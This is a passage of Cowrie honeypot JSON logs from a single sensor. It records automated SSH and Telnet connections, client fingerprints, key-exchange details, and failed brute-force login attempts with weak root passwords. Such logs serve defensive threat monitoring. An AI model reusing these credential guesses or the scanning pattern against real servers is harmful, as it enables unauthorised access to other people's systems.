ert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:09.148813Z","src_ip":"45.156.87.204","session":"b5a65b2412dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:09.404473Z","src_ip":"45.156.87.204","session":"b5a65b2412dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57724,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9fc1e39f81f","protocol":"telnet","message":"New connection: 152.42.224.71:57724 (10.17.0.5:23) [session: a9fc1e39f81f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:09.490287Z"}
{"eventid":"cowrie.session.closed","duration":50.438706398010254,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:10.066615Z","src_ip":"152.42.224.71","session":"c27c61a891b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.142.43.122","src_port":58696,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e54d0fa471a","protocol":"ssh","message":"New connection: 193.142.43.122:58696 (10.17.0.5:22) [session: 9e54d0fa471a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:10.197516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:10.201644Z","src_ip":"193.142.43.122","session":"9e54d0fa471a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:10.294748Z","src_ip":"193.142.43.122","session":"9e54d0fa471a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:10.490929Z","src_ip":"45.156.87.204","session":"b5a65b2412dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:d3:b7:23:22:83:5a:02:ea:cc:f8:32:ac:00:10:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCX6/QH2GlcY0LCbpS5kiw8axvF8UEjJ2+jdUgyNndjOSo0xyzBkjLFnyoA+hcx4nkm1TTCthCRVtVcTNlIqKgTdK2c6ZIoKhKdRGnnkTOE8U/X2y85f/zcmY/M2RYxHMUO4qxgWiG2Z0c2NyjaPSI5ZeDLqKgL0Vh0eqMQUsD9DrmCk21wkBSIzfrxQO6W4e2xNG6iOgr7vsvIKzZNr/mqUkjlbDVvreQueH+zBSOemyoc+i2VlvwhX1zytRUXxJZJk+zNpSeinJK3ZiNDYVgFOkF3Bv5mzguCFXSSkaOotjy7qaEtPenJbcZ0lX72wUDwylYt+8N5QdZJcani1ZgX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:d3:b7:23:22:83:5a:02:ea:cc:f8:32:ac:00:10:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:10.737015Z","src_ip":"193.142.43.122","session":"9e54d0fa471a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:d3:b7:23:22:83:5a:02:ea:cc:f8:32:ac:00:10:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCX6/QH2GlcY0LCbpS5kiw8axvF8UEjJ2+jdUgyNndjOSo0xyzBkjLFnyoA+hcx4nkm1TTCthCRVtVcTNlIqKgTdK2c6ZIoKhKdRGnnkTOE8U/X2y85f/zcmY/M2RYxHMUO4qxgWiG2Z0c2NyjaPSI5ZeDLqKgL0Vh0eqMQUsD9DrmCk21wkBSIzfrxQO6W4e2xNG6iOgr7vsvIKzZNr/mqUkjlbDVvreQueH+zBSOemyoc+i2VlvwhX1zytRUXxJZJk+zNpSeinJK3ZiNDYVgFOkF3Bv5mzguCFXSSkaOotjy7qaEtPenJbcZ0lX72wUDwylYt+8N5QdZJcani1ZgX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:10.740814Z","src_ip":"193.142.43.122","session":"9e54d0fa471a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":41592,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7bb02d1afa7","protocol":"ssh","message":"New connection: 147.45.211.215:41592 (159.203.135.109:22) [session: b7bb02d1afa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:10.829212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:10.833845Z","src_ip":"147.45.211.215","session":"b7bb02d1afa7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:71:00:3a:b9:06:16:66:59:24:55:57:06:fa:be:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwGj1oHUd8O2SfH/AJILWGI0hFxrmKPXdI+wSLwXxO4hNP/HQ+AASoGNWnbh8VEAyQjaDfl/tggTS/gtqmEKIN3EDvn1MYDPmFqASmOouHYcptzgdMuU3MdBFUa+wc9C+voxlnusiaVumf1dLyrMgsrIIF81m2zI6rSWuPiZAswNVao1zmYnYIX5DDM3UDpjuwGrJ3IJ4Nd6KjC27+t1QO3rqS9e0iSvlcTO5Gvgy+qff+n7lNNuPh/N8+3sv4jKhWh6irajACwpT2rHpoIlJuASHVPcr2+YQgYUON/tJRd/DgyKVALOcvxb8RxHQmCsLKwqZ3SjKN7OsrK6LKOQVfpQKMmMaNcAikdvUMMsLq6OfEZ58lh8z+2IFQ7imZirY8xHfTuY2lBhUqUpL5zAv8//6da58+3mWMbfWvifGGqL8g/0iPrmkD7bdZiVxitSIf/nYPNIWivfH4zQu287AxWkSMNPxHm1eA2Nn6ISHRB3kgCYI510ezLpRR5kP4iefvl3PP0mn+U97hzv1ccCiET04C4P9DeTJ+l8sdSK7+3T0KFgjOUUC4Lfk3C4Uo8vbCqDqyom3hl02L45Tjc1IOa9u/lNGpgnBHiy60oTx135xthWTGPfOV7F+DbV+J2j8Juk4ceO4p3Co7ReVELPFFr8HlMi3TRuoxW4llqzyu9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:71:00:3a:b9:06:16:66:59:24:55:57:06:fa:be:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:10.838925Z","src_ip":"193.142.43.122","session":"9e54d0fa471a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:71:00:3a:b9:06:16:66:59:24:55:57:06:fa:be:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwGj1oHUd8O2SfH/AJILWGI0hFxrmKPXdI+wSLwXxO4hNP/HQ+AASoGNWnbh8VEAyQjaDfl/tggTS/gtqmEKIN3EDvn1MYDPmFqASmOouHYcptzgdMuU3MdBFUa+wc9C+voxlnusiaVumf1dLyrMgsrIIF81m2zI6rSWuPiZAswNVao1zmYnYIX5DDM3UDpjuwGrJ3IJ4Nd6KjC27+t1QO3rqS9e0iSvlcTO5Gvgy+qff+n7lNNuPh/N8+3sv4jKhWh6irajACwpT2rHpoIlJuASHVPcr2+YQgYUON/tJRd/DgyKVALOcvxb8RxHQmCsLKwqZ3SjKN7OsrK6LKOQVfpQKMmMaNcAikdvUMMsLq6OfEZ58lh8z+2IFQ7imZirY8xHfTuY2lBhUqUpL5zAv8//6da58+3mWMbfWvifGGqL8g/0iPrmkD7bdZiVxitSIf/nYPNIWivfH4zQu287AxWkSMNPxHm1eA2Nn6ISHRB3kgCYI510ezLpRR5kP4iefvl3PP0mn+U97hzv1ccCiET04C4P9DeTJ+l8sdSK7+3T0KFgjOUUC4Lfk3C4Uo8vbCqDqyom3hl02L45Tjc1IOa9u/lNGpgnBHiy60oTx135xthWTGPfOV7F+DbV+J2j8Juk4ceO4p3Co7ReVELPFFr8HlMi3TRuoxW4llqzyu9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:10.842509Z","src_ip":"193.142.43.122","session":"9e54d0fa471a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:e7:e9:03:44:66:d8:48:b4:9d:f8:d5:48:c3:f9:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrlmKj4TXP+ZdqfDUASY+yOM9cWLB3t40uEikCV6SDSk8WvE2qbnMr9pQY8N/yU/95deTgqzlaJIthnmjSo+8Rs5Scfx6TqF6vkfxmA6Frzh8s0Q2c4R2pgUA0KsVLL7R/eCKt0Z5MZf4bimZ5YuzBlimWn8pIkSPkbj4E7/EEFdHFzTmTBnxIYwNLCVce8HlpSO8hdwrlPwWM9OebVMIVPRoOf4x7cWeYvXVgWeNCcSXNtua81VX6m6X8AzT8HRZ5tiXXvI8fjEQM4DKjHZ3TPxNODajs8VHEKB1+OuVWdlFO08LVl2woEqlvyUiUEv4hH2UF9BMw050jyGtBJlLR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:e7:e9:03:44:66:d8:48:b4:9d:f8:d5:48:c3:f9:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:10.946967Z","src_ip":"193.142.43.122","session":"9e54d0fa471a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:e7:e9:03:44:66:d8:48:b4:9d:f8:d5:48:c3:f9:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrlmKj4TXP+ZdqfDUASY+yOM9cWLB3t40uEikCV6SDSk8WvE2qbnMr9pQY8N/yU/95deTgqzlaJIthnmjSo+8Rs5Scfx6TqF6vkfxmA6Frzh8s0Q2c4R2pgUA0KsVLL7R/eCKt0Z5MZf4bimZ5YuzBlimWn8pIkSPkbj4E7/EEFdHFzTmTBnxIYwNLCVce8HlpSO8hdwrlPwWM9OebVMIVPRoOf4x7cWeYvXVgWeNCcSXNtua81VX6m6X8AzT8HRZ5tiXXvI8fjEQM4DKjHZ3TPxNODajs8VHEKB1+OuVWdlFO08LVl2woEqlvyUiUEv4hH2UF9BMw050jyGtBJlLR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:10.950391Z","src_ip":"193.142.43.122","session":"9e54d0fa471a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:11.003036Z","src_ip":"147.45.211.215","session":"b7bb02d1afa7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:18:0c:f6:e5:84:5c:33:71:c8:5b:f8:0f:2a:dc:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgHGYZ4NUZxBf3D3N+QXUY3Ci85QJCEVj4YQCj8Jbd6Zn0I3RwpHSyzAeS/R6kicOD5xgD+3QzsO8vFvaOPhvQc5XV9FSaZ6lBNLuQsWuqdPJzGDQc7WSjqQXuxuh0EdH0BleB25Tkk/sn50nvWtMhvu8j7y+zIYBNRBB0r0vJPZ5bgOv/fSjdlc7Ogv1fu9O1zFrj5eGqKQFJkEO2mn6yFCO9Z89TR/lnYtaec0V4xCOJOds6ayfBUaWKvTd4qHKRPQp16/p+eJvOzpsB+cOVaIgmDEoB1oS+73OtzM0kIVG9jMvh6wEdxgonRGVLqQgw0B6IqiFjTWDGLKZw6HZx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:18:0c:f6:e5:84:5c:33:71:c8:5b:f8:0f:2a:dc:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:11.043180Z","src_ip":"193.142.43.122","session":"9e54d0fa471a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:18:0c:f6:e5:84:5c:33:71:c8:5b:f8:0f:2a:dc:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgHGYZ4NUZxBf3D3N+QXUY3Ci85QJCEVj4YQCj8Jbd6Zn0I3RwpHSyzAeS/R6kicOD5xgD+3QzsO8vFvaOPhvQc5XV9FSaZ6lBNLuQsWuqdPJzGDQc7WSjqQXuxuh0EdH0BleB25Tkk/sn50nvWtMhvu8j7y+zIYBNRBB0r0vJPZ5bgOv/fSjdlc7Ogv1fu9O1zFrj5eGqKQFJkEO2mn6yFCO9Z89TR/lnYtaec0V4xCOJOds6ayfBUaWKvTd4qHKRPQp16/p+eJvOzpsB+cOVaIgmDEoB1oS+73OtzM0kIVG9jMvh6wEdxgonRGVLqQgw0B6IqiFjTWDGLKZw6HZx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:11.046836Z","src_ip":"193.142.43.122","session":"9e54d0fa471a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:e2:22:19:f9:f6:26:f4:15:77:f3:83:bc:f6:07:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCMwbpvqlO8NJEi0ZDgBf2L6WSB8dL6gmfHTdP4+qjjToaBZP97fiWBA3IneGXTv31rHWDL7fmWG8hmd3hajKBVMLw1YodopBAblxANz3noog84ptyylHUHKHISJOeGLPpq+CLUPOEZNKxrr+4LaWYRIYfY0ZR5ssVjd5suTVzPDryKgvaLKzg6yUtnduWYQkRbtC6hj44MFsV50mHxvOOd1sYXY5l/ZrHMiPnHQoo1AvLH5wapL8eKTsVKRFC/vYPkYd7Fj7w5zAe2+ItDYC7S3gshut9WHpc9XbDDbpA2C31DeLEbYFM36HLkBGTYiKQ/12zyM0xROuO+qhFYClP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:e2:22:19:f9:f6:26:f4:15:77:f3:83:bc:f6:07:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:11.141770Z","src_ip":"193.142.43.122","session":"9e54d0fa471a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:e2:22:19:f9:f6:26:f4:15:77:f3:83:bc:f6:07:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCMwbpvqlO8NJEi0ZDgBf2L6WSB8dL6gmfHTdP4+qjjToaBZP97fiWBA3IneGXTv31rHWDL7fmWG8hmd3hajKBVMLw1YodopBAblxANz3noog84ptyylHUHKHISJOeGLPpq+CLUPOEZNKxrr+4LaWYRIYfY0ZR5ssVjd5suTVzPDryKgvaLKzg6yUtnduWYQkRbtC6hj44MFsV50mHxvOOd1sYXY5l/ZrHMiPnHQoo1AvLH5wapL8eKTsVKRFC/vYPkYd7Fj7w5zAe2+ItDYC7S3gshut9WHpc9XbDDbpA2C31DeLEbYFM36HLkBGTYiKQ/12zyM0xROuO+qhFYClP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:11.144998Z","src_ip":"193.142.43.122","session":"9e54d0fa471a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:11.238128Z","src_ip":"193.142.43.122","session":"9e54d0fa471a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:11.512677Z","src_ip":"147.45.211.215","session":"b7bb02d1afa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:12.684390Z","src_ip":"147.45.211.215","session":"b7bb02d1afa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55498,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2415dc4ca3f","protocol":"ssh","message":"New connection: 45.156.87.204:55498 (159.203.135.109:22) [session: b2415dc4ca3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:12.832769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:12.837809Z","src_ip":"45.156.87.204","session":"b2415dc4ca3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:12.919702Z","src_ip":"45.156.87.204","session":"b2415dc4ca3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:13.165953Z","src_ip":"45.156.87.204","session":"b2415dc4ca3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":35360,"dst_ip":"10.17.0.5","dst_port":22,"session":"e817938e12c4","protocol":"ssh","message":"New connection: 185.236.22.41:35360 (10.17.0.5:22) [session: e817938e12c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:14.134820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:14.140431Z","src_ip":"185.236.22.41","session":"e817938e12c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:14.249810Z","src_ip":"45.156.87.204","session":"b2415dc4ca3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:14.274633Z","src_ip":"185.236.22.41","session":"e817938e12c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kola91","message":"login attempt [root/kola91] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:14.639254Z","src_ip":"185.236.22.41","session":"e817938e12c4","protocol":"ssh"}
